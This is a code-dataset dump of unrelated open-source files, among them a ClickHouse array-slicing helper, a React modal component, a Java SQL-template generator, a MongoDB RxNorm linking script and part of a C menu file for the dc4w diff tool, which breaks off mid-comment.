repo_name
stringlengths
6
101
path
stringlengths
4
300
text
stringlengths
7
1.31M
ageraab/ClickHouse
src/Functions/GatherUtils/sliceDynamicOffsetBounded.cpp
#ifndef __clang_analyzer__ // It's too hard to analyze. #include "GatherUtils.h" #include "Selectors.h" #include "Algorithms.h" namespace DB::GatherUtils { struct SliceDynamicOffsetBoundedSelectArraySource : public ArraySinkSourceSelector<SliceDynamicOffsetBoundedSelectArraySource> { template <typename Source, typename Sink> static void selectSourceSink(Source && source, Sink && sink, const IColumn & offset_column, const IColumn & length_column) { sliceDynamicOffsetBounded(source, sink, offset_column, length_column); } }; void sliceDynamicOffsetBounded(IArraySource & src, IArraySink & sink, const IColumn & offset_column, const IColumn & length_column) { SliceDynamicOffsetBoundedSelectArraySource::select(src, sink, offset_column, length_column); } } #endif
paulhjkelly/taskgraph-metaprogramming
suif/include/suif1/hash.h
<gh_stars>1-10 /* Generic Hash Table Definitions */ /* Copyright (c) 1994 Stanford University All rights reserved. This software is provided under the terms described in the "suif_copyright.h" include file. */ #include <suif_copyright.h> #ifndef HASH_H #define HASH_H #pragma interface RCS_HEADER(hash_h, "$Id$") /* * Hash table entries. This base class contains only the signature for an * entry; other fields can be added in derived classes. The signature is * an unsigned value (not necessarily unique) that is used to index into the * hash table. In many cases, a pointer can be used as the signature; in * other situations a more complex hash function may be necessary. */ class hash_e : public glist_e { public: unsigned signature; hash_e() : signature(0) { } hash_e(unsigned s) : signature(s) { } }; /* * Type for functions to compare two hash table entries. Return TRUE if the * two entries are equal. This function is necessary to distinguish distinct * entries that happen to have the same signature. */ typedef boolean (*hash_compare)(hash_e *, hash_e *); /* * Hash table buckets (hash_chains) are move-to-front list of hash_e's. * By using mtflist, we are implicitly assuming that the references to * the hash table exhibit temporal locality. */ class hash_chain : public mtflist { public: hash_e *lookup(hash_compare check, hash_e *k) { return static_cast<hash_e *>(mtflist::lookup(reinterpret_cast<mtflist_test_f>(check), k)); } hash_e *remove(hash_compare check, hash_e *k) { return static_cast<hash_e *>(mtflist::get(reinterpret_cast<mtflist_test_f>(check), k)); } }; /* * Generic hash tables contain fixed-size arrays of hash_chain buckets. * The user must provide a function to compare hash table entries. The * "lookup" method checks if the given entry is in the table. The "enter" * method adds a new entry to the table; it returns TRUE if the entry was * already there. */ class hash_table { private: /* We make explicit copy constructor and assignment operator and * make them private to foil C++'s automatic default versions. */ hash_table(const hash_table &); hash_table &operator=(const hash_table &); public: hash_compare compare; unsigned size; hash_chain *buckets; hash_table(hash_compare f, unsigned sz); ~hash_table(); boolean enter(hash_e *e); hash_e *lookup(hash_e *e) { return buckets[e->signature % size].lookup(compare, e); } hash_e *remove(hash_e *e) { return buckets[e->signature % size].remove(compare, e); } }; #endif /* HASH_H */
kennyooi/ep-ui
src/components/Modal/Modal.js
/** * Modal component */ import React, { PureComponent } from 'react'; import PropTypes from 'prop-types'; import classNames from 'classnames'; import { createPortal } from 'react-dom'; import { addClass, removeClass } from '../../helpers/styler'; import './Modal.less'; export default class Modal extends PureComponent { static propTypes = { isShow : PropTypes.bool, // visibility of modal closeDelay : PropTypes.number, // animation time onRequestClose : PropTypes.func, // trigger modal close bodyClassName : PropTypes.string, // append body className name : PropTypes.string, // modal className onOpen : PropTypes.func, // trigger when modal opened onClose : PropTypes.func // trigger when modal closed }; static defaultProps = { name : 'Modal', // advanced props - Created Modal className bodyClassName : 'modal__opened', // advanced props - appended className to body isShow : false, closeDelay : 350, onRequestClose : () => {} }; constructor(props) { super(props); this.__timer = null; this.state = { isModalOpen : false, isFaded : false }; } componentDidMount() { this.__root = document.body; } componentWillUnmount() { // clear all clearTimeout(this.__timer); removeClass(this.__root, this.props.bodyClassName); } componentWillReceiveProps(nextProps) { const { isModalOpen } = this.state; if (nextProps.isShow && !isModalOpen) { this.modalOpened(); } else if (!nextProps.isShow && isModalOpen) { this.modalClosed(); } } render() { if (!this.state.isModalOpen) { return null; } return createPortal(this.renderModal(), this.__root); } renderModal() { /* eslint-disable no-unused-vars */ const { children, className, onRequestClose, name, isShow, closeDelay, onOpen, onClose, bodyClassName, ...other } = this.props; const { isFaded } = this.state; return ( <div ref={el => this.__el = el} className={classNames(name, { 'is__open': isFaded })} > <div className='Modal-overlay' onClick={onRequestClose} ></div> <div className='Modal-inner'> <div className='Modal-wrapper'> <div {...other} ref={el => this.__contentEl = el} className={classNames('Modal-content', className)} > {children} </div> </div> </div> </div> ); } modalOpened() { this.setState({ isModalOpen: true }); // update body className addClass(this.__root, this.props.bodyClassName); this.__timer = setTimeout(() => { this.setState({ isFaded: true }); if (this.props.onOpen) { this.props.onOpen(); } }, 100); } modalClosed() { this.setState({ isFaded: false }); // update body className removeClass(this.__root, this.props.bodyClassName); this.__timer = setTimeout(() => { this.setState({ isModalOpen: false }); if (this.props.onClose) { this.props.onClose(); } }, this.props.closeDelay); } }
wanhello/omgind
internal/gen/ent/sysdictitem.go
<reponame>wanhello/omgind // Code generated by entc, DO NOT EDIT. package ent import ( "fmt" "strings" "time" "entgo.io/ent/dialect/sql" "github.com/wanhello/omgind/internal/gen/ent/sysdictitem" ) // SysDictItem is the model entity for the SysDictItem schema. type SysDictItem struct { config `json:"-"` // ID of the ent. ID string `json:"id,omitempty"` // IsDel holds the value of the "is_del" field. // 是否删除 IsDel bool `json:"is_del,omitempty"` // Memo holds the value of the "memo" field. // 备注 Memo string `json:"memo,omitempty"` // Sort holds the value of the "sort" field. // 排序, 在数据库里的排序 Sort int32 `json:"sort,omitempty"` // CreatedAt holds the value of the "created_at" field. // 创建时间,由程序自动生成 CreatedAt time.Time `json:"created_at,omitempty"` // UpdatedAt holds the value of the "updated_at" field. // 更新时间,由程序自动生成 UpdatedAt time.Time `json:"updated_at,omitempty"` // DeletedAt holds the value of the "deleted_at" field. // 删除时间, DeletedAt *time.Time `json:"deleted_at,omitempty"` // Label holds the value of the "label" field. // 显示值 Label string `json:"label,omitempty"` // Value holds the value of the "value" field. // 字典值 Value int `json:"value,omitempty"` // Status holds the value of the "status" field. // 启用状态 Status int16 `json:"status,omitempty"` // DictID holds the value of the "dict_id" field. // sys_dict.id DictID string `json:"dict_id,omitempty"` } // scanValues returns the types for scanning values from sql.Rows. func (*SysDictItem) scanValues(columns []string) ([]interface{}, error) { values := make([]interface{}, len(columns)) for i := range columns { switch columns[i] { case sysdictitem.FieldIsDel: values[i] = new(sql.NullBool) case sysdictitem.FieldSort, sysdictitem.FieldValue, sysdictitem.FieldStatus: values[i] = new(sql.NullInt64) case sysdictitem.FieldID, sysdictitem.FieldMemo, sysdictitem.FieldLabel, sysdictitem.FieldDictID: values[i] = new(sql.NullString) case sysdictitem.FieldCreatedAt, sysdictitem.FieldUpdatedAt, sysdictitem.FieldDeletedAt: values[i] = new(sql.NullTime) default: return nil, fmt.Errorf("unexpected column %q for type SysDictItem", columns[i]) } } return values, nil } // assignValues assigns the values that were returned from sql.Rows (after scanning) // to the SysDictItem fields. func (sdi *SysDictItem) assignValues(columns []string, values []interface{}) error { if m, n := len(values), len(columns); m < n { return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) } for i := range columns { switch columns[i] { case sysdictitem.FieldID: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field id", values[i]) } else if value.Valid { sdi.ID = value.String } case sysdictitem.FieldIsDel: if value, ok := values[i].(*sql.NullBool); !ok { return fmt.Errorf("unexpected type %T for field is_del", values[i]) } else if value.Valid { sdi.IsDel = value.Bool } case sysdictitem.FieldMemo: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field memo", values[i]) } else if value.Valid { sdi.Memo = value.String } case sysdictitem.FieldSort: if value, ok := values[i].(*sql.NullInt64); !ok { return fmt.Errorf("unexpected type %T for field sort", values[i]) } else if value.Valid { sdi.Sort = int32(value.Int64) } case sysdictitem.FieldCreatedAt: if value, ok := values[i].(*sql.NullTime); !ok { return fmt.Errorf("unexpected type %T for field created_at", values[i]) } else if value.Valid { sdi.CreatedAt = value.Time } case sysdictitem.FieldUpdatedAt: if value, ok := values[i].(*sql.NullTime); !ok { return fmt.Errorf("unexpected type %T for field updated_at", values[i]) } else if value.Valid { sdi.UpdatedAt = value.Time } case sysdictitem.FieldDeletedAt: if value, ok := values[i].(*sql.NullTime); !ok { return fmt.Errorf("unexpected type %T for field deleted_at", values[i]) } else if value.Valid { sdi.DeletedAt = new(time.Time) *sdi.DeletedAt = value.Time } case sysdictitem.FieldLabel: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field label", values[i]) } else if value.Valid { sdi.Label = value.String } case sysdictitem.FieldValue: if value, ok := values[i].(*sql.NullInt64); !ok { return fmt.Errorf("unexpected type %T for field value", values[i]) } else if value.Valid { sdi.Value = int(value.Int64) } case sysdictitem.FieldStatus: if value, ok := values[i].(*sql.NullInt64); !ok { return fmt.Errorf("unexpected type %T for field status", values[i]) } else if value.Valid { sdi.Status = int16(value.Int64) } case sysdictitem.FieldDictID: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field dict_id", values[i]) } else if value.Valid { sdi.DictID = value.String } } } return nil } // Update returns a builder for updating this SysDictItem. // Note that you need to call SysDictItem.Unwrap() before calling this method if this SysDictItem // was returned from a transaction, and the transaction was committed or rolled back. func (sdi *SysDictItem) Update() *SysDictItemUpdateOne { return (&SysDictItemClient{config: sdi.config}).UpdateOne(sdi) } // Unwrap unwraps the SysDictItem entity that was returned from a transaction after it was closed, // so that all future queries will be executed through the driver which created the transaction. func (sdi *SysDictItem) Unwrap() *SysDictItem { tx, ok := sdi.config.driver.(*txDriver) if !ok { panic("ent: SysDictItem is not a transactional entity") } sdi.config.driver = tx.drv return sdi } // String implements the fmt.Stringer. func (sdi *SysDictItem) String() string { var builder strings.Builder builder.WriteString("SysDictItem(") builder.WriteString(fmt.Sprintf("id=%v", sdi.ID)) builder.WriteString(", is_del=") builder.WriteString(fmt.Sprintf("%v", sdi.IsDel)) builder.WriteString(", memo=") builder.WriteString(sdi.Memo) builder.WriteString(", sort=") builder.WriteString(fmt.Sprintf("%v", sdi.Sort)) builder.WriteString(", created_at=") builder.WriteString(sdi.CreatedAt.Format(time.ANSIC)) builder.WriteString(", updated_at=") builder.WriteString(sdi.UpdatedAt.Format(time.ANSIC)) if v := sdi.DeletedAt; v != nil { builder.WriteString(", deleted_at=") builder.WriteString(v.Format(time.ANSIC)) } builder.WriteString(", label=") builder.WriteString(sdi.Label) builder.WriteString(", value=") builder.WriteString(fmt.Sprintf("%v", sdi.Value)) builder.WriteString(", status=") builder.WriteString(fmt.Sprintf("%v", sdi.Status)) builder.WriteString(", dict_id=") builder.WriteString(sdi.DictID) builder.WriteByte(')') return builder.String() } // SysDictItems is a parsable slice of SysDictItem. type SysDictItems []*SysDictItem func (sdi SysDictItems) config(cfg config) { for _i := range sdi { sdi[_i].config = cfg } }
takeharukato/risc-v-workshop
test/tst-spinlock.c
/* -*- mode: C; coding:utf-8 -*- */ /**********************************************************************/ /* OS kernel sample */ /* Copyright 2019 <NAME> */ /* */ /* test routine */ /* */ /**********************************************************************/ #include <kern/kern-common.h> #include <kern/ktest.h> #include <kern/spinlock.h> static ktest_stats tstat_spinlock=KTEST_INITIALIZER; static spinlock g_lock=__SPINLOCK_INITIALIZER; static void spinlock1(ktest_stats *statp, void __unused *arg){ spinlock lock; intrflags iflags; if ( g_lock.locked == 0 ) ktest_pass(statp); else ktest_fail(statp); spinlock_init(&lock); if ( lock.locked == 0 ) ktest_pass(statp); else ktest_fail(statp); spinlock_lock(&lock); if ( spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); spinlock_unlock(&lock); if ( !spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); spinlock_lock_disable_intr(&lock, &iflags); if ( spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); spinlock_unlock_restore_intr(&lock, &iflags); if ( !spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); spinlock_raw_lock_disable_intr(&lock, &iflags); if ( spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); spinlock_raw_unlock_restore_intr(&lock, &iflags); if ( !spinlock_locked_by_self(&lock) ) ktest_pass(statp); else ktest_fail(statp); return ; } void tst_spinlock(void){ ktest_def_test(&tstat_spinlock, "spinlock1", spinlock1, NULL); ktest_run(&tstat_spinlock); }
cyeagy/bss
src/main/java/io/github/yeagy/bss/BetterSqlGenerator.java
<reponame>cyeagy/bss<filename>src/main/java/io/github/yeagy/bss/BetterSqlGenerator.java<gh_stars>1-10 package io.github.yeagy.bss; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.stream.Collector; import static java.util.stream.Collectors.joining; /** * Use reflection to generate SQL prepared statements from POJOs * <p> * Bulk select currently unsupported for compound keys. could do this with a disjunction of conjunctions, but the performance would be abysmal on anything large. */ public final class BetterSqlGenerator { private static final Collector<CharSequence, ?, String> COMMA_JOIN = joining(", "); private static final Collector<CharSequence, ?, String> AND_JOIN = joining(" AND "); private final BetterOptions options; private BetterSqlGenerator(BetterOptions options) { this.options = options; } public static BetterSqlGenerator fromDefaults() { return from(BetterOptions.fromDefaults()); } public static BetterSqlGenerator from(BetterOptions options) { return new BetterSqlGenerator(options); } public String generateSelectSqlTemplate(TableData table) { return formatSelect(columns(table, true), table.getTableName(), primaryKeysWithIndexParams(table)); } public String generateSelectSqlTemplateNamed(TableData table) { return formatSelect(columns(table, true), table.getTableName(), primaryKeysWithNamedParams(table)); } private String formatSelect(String columns, String tableName, String conditions) { return String.format("SELECT %s FROM %s WHERE %s", columns, tableName, conditions); } public String generateBulkSelectSqlTemplate(TableData table) { if (table.hasCompositeKey()) { throw new UnsupportedOperationException("bulk select sql generation not supported for compound keys"); } final String pk = TableData.getColumnName(table.getPrimaryKey()); if (options.arraySupport()) { return formatBulkSelectArrayUnnest(columns(table, true), table.getTableName(), pk, "?"); } return formatBulkSelect(columns(table, true), table.getTableName(), pk, "?"); } public String generateBulkSelectSqlTemplateNamed(TableData table) { if (table.hasCompositeKey()) { throw new UnsupportedOperationException("bulk select sql generation not supported for compound keys"); } final String pk = TableData.getColumnName(table.getPrimaryKey()); if (options.arraySupport()) { return formatBulkSelectArrayUnnest(columns(table, true), table.getTableName(), pk, ":" + pk); } return formatBulkSelect(columns(table, true), table.getTableName(), pk, ":" + pk); } private String formatBulkSelect(String columns, String tableName, String primaryKey, String primaryKeyValue) { return String.format("SELECT %s FROM %s WHERE %s IN (%s)", columns, tableName, primaryKey, primaryKeyValue); } private String formatBulkSelectArrayUnnest(String columns, String tableName, String primaryKey, String primaryKeyValue) { return String.format("SELECT %s FROM %s WHERE %s IN (SELECT unnest(%s))", columns, tableName, primaryKey, primaryKeyValue); } public String generateInsertSqlTemplate(TableData table) { return generateInsertSqlTemplate(table, false); } public String generateInsertSqlTemplateNamed(TableData table) { return generateInsertSqlTemplateNamed(table, false); } public String generateInsertSqlTemplate(TableData table, boolean includePrimaryKey) { final String columns = columns(table, includePrimaryKey); final int numCols = includePrimaryKey ? table.getPrimaryKeys().size() + table.getColumns().size() : table.getColumns().size(); return formatInsert(table.getTableName(), columns, columnsIndexParams(numCols)); } public String generateInsertSqlTemplateNamed(TableData table, boolean includePrimaryKey) { final String columns = columns(table, includePrimaryKey); final String namedParams = columnsAsNamedParams(table, includePrimaryKey); return formatInsert(table.getTableName(), columns, namedParams); } private String formatInsert(String tableName, String columns, String values) { return String.format("INSERT INTO %s (%s) VALUES (%s)", tableName, columns, values); } public String generateUpdateSqlTemplate(TableData table) { return formatUpdate(table.getTableName(), columnsWithIndexParams(table), primaryKeysWithIndexParams(table)); } public String generateUpdateSqlTemplateNamed(TableData table) { return formatUpdate(table.getTableName(), columnsWithNamedParams(table), primaryKeysWithNamedParams(table)); } private String formatUpdate(String tableName, String columnsAndValues, String conditions) { return String.format("UPDATE %s SET %s WHERE %s", tableName, columnsAndValues, conditions); } public String generateDeleteSqlTemplate(TableData table) { return formatDelete(table.getTableName(), primaryKeysWithIndexParams(table)); } public String generateDeleteSqlTemplateNamed(TableData table) { return formatDelete(table.getTableName(), primaryKeysWithNamedParams(table)); } private String formatDelete(String tableName, String conditions) { return String.format("DELETE FROM %s WHERE %s", tableName, conditions); } public String generateBulkDeleteSqlTemplate(TableData table) { if (table.hasCompositeKey()) { throw new UnsupportedOperationException("bulk delete sql generation not supported for compound keys"); } final String pk = TableData.getColumnName(table.getPrimaryKey()); if (options.arraySupport()) { return formatBulkDeleteArrayUnnest(table.getTableName(), pk, "?"); } return formatBulkDelete(table.getTableName(), pk, "?"); } public String generateBulkDeleteSqlTemplateNamed(TableData table) { if (table.hasCompositeKey()) { throw new UnsupportedOperationException("bulk delete sql generation not supported for compound keys"); } final String pk = TableData.getColumnName(table.getPrimaryKey()); if (options.arraySupport()) { return formatBulkDeleteArrayUnnest(table.getTableName(), pk, ":" + pk); } return formatBulkDelete(table.getTableName(), pk, ":" + pk); } private String formatBulkDelete(String tableName, String primaryKey, String primaryKeyValue) { return String.format("DELETE FROM %s WHERE %s IN (%s)", tableName, primaryKey, primaryKeyValue); } private String formatBulkDeleteArrayUnnest(String tableName, String primaryKey, String primaryKeyValue) { return String.format("DELETE FROM %s WHERE %s IN (SELECT unnest(%s))", tableName, primaryKey, primaryKeyValue); } //todo fix compound keys public String generateCreateStatement(TableData table) { final List<String> columns = new ArrayList<>(table.getColumns().size() + table.getPrimaryKeys().size()); for (Field field : table.getPrimaryKeys()) { columns.add(TableData.getColumnName(field) + " " + TypeMappers.getSqlType(field.getType()).toUpperCase() + " PRIMARY KEY"); } for (Field field : table.getColumns()) { columns.add(TableData.getColumnName(field) + " " + TypeMappers.getSqlType(field.getType()).toUpperCase() + (field.getType().isPrimitive() ? " NOT NULL" : "")); } return formatCreate(table.getTableName(), columns); } private String formatCreate(String tableName, List<String> columns) { return String.format("CREATE TABLE %s (%s)", tableName, columns.stream().collect(COMMA_JOIN)); } private String primaryKeysWithIndexParams(TableData table) { return table.getPrimaryKeys().stream().map(k -> TableData.getColumnName(k) + " = ?").collect(AND_JOIN); } private String primaryKeysWithNamedParams(TableData table) { return table.getPrimaryKeys().stream().map(k -> TableData.getColumnName(k) + " = :" + TableData.getColumnName(k)).collect(AND_JOIN); } private String columns(TableData table, boolean includePrimaryKeys) { final String columns = table.getColumns().stream().map(TableData::getColumnName).collect(COMMA_JOIN); if (includePrimaryKeys) { return table.getPrimaryKeys().stream().map(TableData::getColumnName).collect(COMMA_JOIN) + ", " + columns; } return columns; } private String columnsAsNamedParams(TableData table, boolean includePrimaryKeys) { final String columns = table.getColumns().stream().map(f -> ":" + TableData.getColumnName(f)).collect(COMMA_JOIN); if (includePrimaryKeys) { return table.getPrimaryKeys().stream().map(f -> ":" + TableData.getColumnName(f)).collect(COMMA_JOIN) + ", " + columns; } return columns; } private String columnsWithIndexParams(TableData table) { return table.getColumns().stream().map(f -> TableData.getColumnName(f) + " = ?").collect(COMMA_JOIN); } private String columnsWithNamedParams(TableData table) { return table.getColumns().stream().map(f -> TableData.getColumnName(f) + " = :" + TableData.getColumnName(f)).collect(COMMA_JOIN); } private String columnsIndexParams(int size) { return String.join(", ", Collections.nCopies(size, "?")); } }
ClickMechanic/signable
lib/signable/list.rb
module Signable class List < Struct.new(:data_type, :hash) def offset hash['offset'] end def limit hash['limit'] end def total hash["total_#{data_name}"] end def data @data ||= hash[data_name].map { |attributes| data_type.new attributes } end private def data_name data_type.name.demodulize.underscore.pluralize end end end
francis-pouatcha/forgelab
adpharma/adpharma.modules/adpharma.client.backoffice/src/main/java/org/adorsys/adpharma/client/jpa/debtstatementcustomerinvoiceassoc/DebtStatementCustomerInvoiceAssocRemoveService.java
package org.adorsys.adpharma.client.jpa.debtstatementcustomerinvoiceassoc; import javafx.concurrent.Service; import javafx.concurrent.Task; import javax.inject.Inject; import org.adorsys.adpharma.client.jpa.debtstatement.DebtStatement; import org.adorsys.adpharma.client.jpa.debtstatement.DebtStatementRemoveService; import org.adorsys.adpharma.client.jpa.debtstatement.DebtStatementService; public class DebtStatementCustomerInvoiceAssocRemoveService extends Service<DebtStatementCustomerInvoiceAssoc> { @Inject private DebtStatementCustomerInvoiceAssocService remoteService; private DebtStatementCustomerInvoiceAssoc entity; public DebtStatementCustomerInvoiceAssocRemoveService setEntity(DebtStatementCustomerInvoiceAssoc entity) { this.entity = entity; return this; } @Override protected Task<DebtStatementCustomerInvoiceAssoc> createTask() { return new Task<DebtStatementCustomerInvoiceAssoc>() { @Override protected DebtStatementCustomerInvoiceAssoc call() throws Exception { return remoteService.deleteById(entity.getId()); } }; } }
FDA/Healthy-Citizen-Code
hc-data-bridge/src/services/rxnorm/link_rxnormSat_to_drugsMaster.js
const Promise = require('bluebird'); const _ = require('lodash'); const args = require('optimist').argv; const { mongoConnect, setUpdateAtIfRecordChanged } = require('../util/mongo'); const { loadRxcuiData } = require('./util'); const { conditionForActualRecord } = require('../util/mongo'); const { mongoUrl } = args; if (!mongoUrl) { console.log('Please specify mongoUrl'); process.exit(1); } const rxnormSatCollectionName = args.rxnormSatCollectionName || 'drugsRxnormSat'; const rxnormConsoCollectionName = args.rxnormConsoCollectionName || 'drugsRxnormConso'; const drugsMasterCollectionName = args.drugsMasterCollectionName || 'drugsMaster'; async function createIndexes(dbCon) { await Promise.all([ dbCon.collection(drugsMasterCollectionName).createIndex({ packageNdc11: 1 }), dbCon.collection(rxnormSatCollectionName).createIndex({ ndc11: 1 }), ]); console.log( `Created 'packageNdc11' index for '${drugsMasterCollectionName}'; 'ndc11' index for '${rxnormSatCollectionName}'` ); } async function handleSatDoc(satDoc, dbCon, rxcuiData) { const { rxcui, ndc11: packageNdc11 } = satDoc; if (!rxcuiData[rxcui]) { // console.log(`Unable to find ingredients for rxcui=${rxcui}`); return; } const drugKey = `NDC11:${packageNdc11}`; const masterDocs = await dbCon .collection(drugsMasterCollectionName) .find({ packageNdc11 }, { projection: { _id: 1 } }) .toArray(); if (masterDocs.length > 1) { return console.warn( `Found 1+ docs with packageNdc11 '${packageNdc11}' in ${drugsMasterCollectionName}. This doc will be skipped.` ); } const { rxCuis } = rxcuiData[rxcui]; const rxnormSatLookup = { table: rxnormSatCollectionName, _id: satDoc._id, label: rxcui, }; const productNdc11 = satDoc.productCode; const now = new Date(); if (!masterDocs.length) { await dbCon.collection(drugsMasterCollectionName).insertOne({ ...conditionForActualRecord, drugKey, packageNdc11, productNdc11, rxCuis, links: { rxnormSat: [rxnormSatLookup], }, createdAt: now, updatedAt: now, }); return console.log(`Inserted doc with packageNdc11=${packageNdc11}, rxcui=${rxcui}`); } const masterDoc = masterDocs[0]; const { _id: masterDocId, rxCuis: masterDocRxCuis = [] } = masterDoc; _.each(rxCuis, rxCui => { const sameRxcuiTtyElem = masterDocRxCuis.find(el => el.tty === rxCui.tty && el.rxCui === rxCui.rxCui); !sameRxcuiTtyElem && masterDocRxCuis.push(rxCui); }); const update = { $set: { drugKey, packageNdc11, productNdc11, rxCuis: masterDocRxCuis, updatedAt: now }, $addToSet: { 'links.rxnormSat': rxnormSatLookup }, }; await setUpdateAtIfRecordChanged(dbCon.collection(drugsMasterCollectionName), 'updateOne', { _id: masterDocId }, update); console.log(`Updated doc with packageNdc11=${packageNdc11}, rxcui=${rxcui} for _id ${masterDocId.toString()}`); } async function linkRxnormSatToMaster(dbCon, rxcuiData) { const satCursor = dbCon .collection(rxnormSatCollectionName) .find({ ndc11: { $ne: null } }, { projection: { id: 1, rxcui: 1, productCode: 1, ndc11: 1 } }); while (await satCursor.hasNext()) { const satDoc = await satCursor.next(); await handleSatDoc(satDoc, dbCon, rxcuiData); } } (async () => { try { const dbCon = await mongoConnect(mongoUrl); await createIndexes(dbCon); const rxcuiData = await loadRxcuiData(dbCon, rxnormConsoCollectionName); await linkRxnormSatToMaster(dbCon, rxcuiData); console.log(`\nDone linking rxnormSat docs to ${drugsMasterCollectionName}`); process.exit(0); } catch (e) { console.error('Error occurred while Rxnsat data', e); process.exit(1); } })();
geoffmcl/dc4w
src/dc4wMenu.c
<gh_stars>0 // dc4wMenu.c // this is public domain software - praise me, if ok, just don't blame me! #include "dc4w.h" #define ADD_EXCLUDE_FILE // if selected, offer to exclude it from LIST #undef ADDVIEWUPDATE2 // this is an UNFINISHED quick update without review extern CC g_sOutCnt; extern CC g_sListCnt; // if BUSY (on thread working or in dialog asking) //extern BOOL gfBusy; // only add ABORT to context menu //verify that the SELECTED item (ie in expanded mode or outline with one selected) extern INT giSelection; // = -1 if NONE, or is selected row in table extern BOOL CopyOneIsOK( PCFDLGSTR pcfds ); extern DWORD g_dwviewedcnt; // helper services, like c = GetList( &gsXFileList, cp ); // extern INT GetList( PLE pHead, PTSTR cp ); // POPUP "&List View Control" // BEGIN // MENUITEM "&Off", IDM_LISTVIEWOFF // CMI( IDM_LISTVIEWOFF, g_hListView ); // if(g_hListView) // { // MENUITEM "&50%", IDM_LISTVIEW50 // MENUITEM "&100%", IDM_LISTVIEW100 BOOL g_bIn5050 = TRUE; // forward references // utility functions VOID AppendSStateShort(LPTSTR lpb, INT iState ) { if( iState == STATE_FILELEFTONLY ) strcat(lpb, " LO"); else if( iState == STATE_FILERIGHTONLY ) strcat(lpb, " RO"); else if( iState == STATE_DIFFER ) strcat(lpb, " DF"); else if( iState == STATE_SAME ) strcat(lpb, " SM"); else strcat(lpb, " ??"); } #define MENU_FILE 0 #define MENU_EDIT 1 #define MENU_VIEW 2 #define MENU_EXPAND 3 #define MENU_OPTIONS 4 #define MENU_ABOUT 5 /* ================== Copied form RC file 20110201 IDR_MAINMENU MENU BEGIN POPUP "&File" BEGIN MENUITEM "Compare &Directories...", IDM_DIR MENUITEM "&Next in List", IDM_NEXTINLIST MENUITEM "Select TWO &Files ...", IDM_FILE MENUITEM SEPARATOR MENUITEM "&Abort", IDM_ABORT MENUITEM SEPARATOR MENUITEM "&Save File List...", IDM_SAVELIST MENUITEM "&Write Difference...", IDM_WRITEDIFF MENUITEM "C&opy Files...", IDM_COPYFILES MENUITEM "&Create ZIP File ...", ID_FILE_CREATEZIPFILE MENUITEM "Copy Saved &Zip ...", IDM_FILE_RENZIP MENUITEM "Dele&te File...", IDM_DELETELEFTFILE MENUITEM SEPARATOR MENUITEM "&Print", IDM_PRINT MENUITEM SEPARATOR MENUITEM "E&xit", IDM_EXIT END POPUP "&Edit" BEGIN MENUITEM "&Copy\tCtrl+C", IDM_EDITCOPY, GRAYED MENUITEM SEPARATOR MENUITEM "Edit &Left File", IDM_EDITLEFT MENUITEM "Edit &Right File", IDM_EDITRIGHT MENUITEM "Edit &Composite File", IDM_EDITCOMP MENUITEM SEPARATOR MENUITEM "&Set Editor...", IDM_SETEDIT MENUITEM "&Edit Exclude List ...", IDM_EDITEXCLUDE MENUITEM "Edit Zip Controls ...", IDM_EDITZIPUP END POPUP "&View" BEGIN MENUITEM "&Outline", IDM_OUTLINE MENUITEM "&Expand", IDM_EXPAND MENUITEM SEPARATOR MENUITEM "Show &Picture Bar\tAlt+P", IDM_PICTURE MENUITEM "Bottom Status Bar", IDM_ADDSTATUS MENUITEM SEPARATOR MENUITEM "&Previous Change\tF3", IDM_FPCHANGE MENUITEM "&Next Change\tF4", IDM_FCHANGE MENUITEM SEPARATOR MENUITEM "Expand Next &File\tF5", IDM_VIEW_NEXT MENUITEM "&Reverse L/R", IDM_REVERSE MENUITEM "R&efresh Display", IDM_REFRESH MENUITEM "No Excludes", ID_VIEW_NOEXCLUDES MENUITEM "&Use Exclude List", IDM_USEEXCLUDE MENUITEM "&Alternate Outline", IDM_OPTALTDISPLAY MENUITEM SEPARATOR POPUP "&List View Control" BEGIN MENUITEM "&Off", IDM_LISTVIEWOFF MENUITEM "&50%", IDM_LISTVIEW50 MENUITEM "&100%", IDM_LISTVIEW100 MENUITEM SEPARATOR MENUITEM "&Hover Select", IDM_HOVERSEL MENUITEM "&Add Grid", IDM_LVADDGRID END END POPUP "Ex&panded" BEGIN MENUITEM "Le&ft File Only\tAlt+L", IDM_LONLY MENUITEM "Rig&ht File Only\tAlt+R", IDM_RONLY MENUITEM "B&oth Files\tAlt+B", IDM_BOTHFILES MENUITEM SEPARATOR MENUITEM "&Left Line Numbers", IDM_LNRS MENUITEM "&Right Line Numbers", IDM_RNRS MENUITEM "Add Line &Numbers", IDM_NONRS MENUITEM SEPARATOR MENUITEM "Show E&qual Lines", IDM_SHOWSAME MENUITEM "Show &Moved Lines", IDM_SHOWMOVE MENUITEM "Add &Tag", IDM_SHOWTAG MENUITEM SEPARATOR MENUITEM "Ignore &Blanks", IDM_IGNBLANKS MENUITEM "Ignore EOL", IDM_IGNOREEOL MENUITEM "Ignore &Case", IDM_IGNCASE END POPUP "&Outline" BEGIN POPUP "File List &Options" BEGIN MENUITEM "Show &Identical\tCtrl+I", IDM_INCSAME MENUITEM "Show &Left-Only Files\tCtrl+L", IDM_INCLEFT MENUITEM "Show &Right-Only Files\tCtrl+R", IDM_INCRIGHT MENUITEM "Show All &Different", IDM_DIFFALL MENUITEM "Show &Newer Files\tCtrl+N", IDM_NEWER MENUITEM "Show &Older Files\tCtrl+O", IDM_OLDER MENUITEM SEPARATOR MENUITEM "Full Path Name", ID_FILELISTOPTIONS_FULLPATHNAME MENUITEM "Relative Name", ID_FILELISTOPTIONS_RELATIVENAME MENUITEM "File Title Only", ID_FILELISTOPTIONS_FILETITLEONLY MENUITEM SEPARATOR MENUITEM "Clear Viewed Flag", IDM_CLEARVIEWED, GRAYED END MENUITEM SEPARATOR MENUITEM "&Full File Compare", IDM_OPTEXACT MENUITEM "Ignore &Blanks", IDM_IGNBLANKS 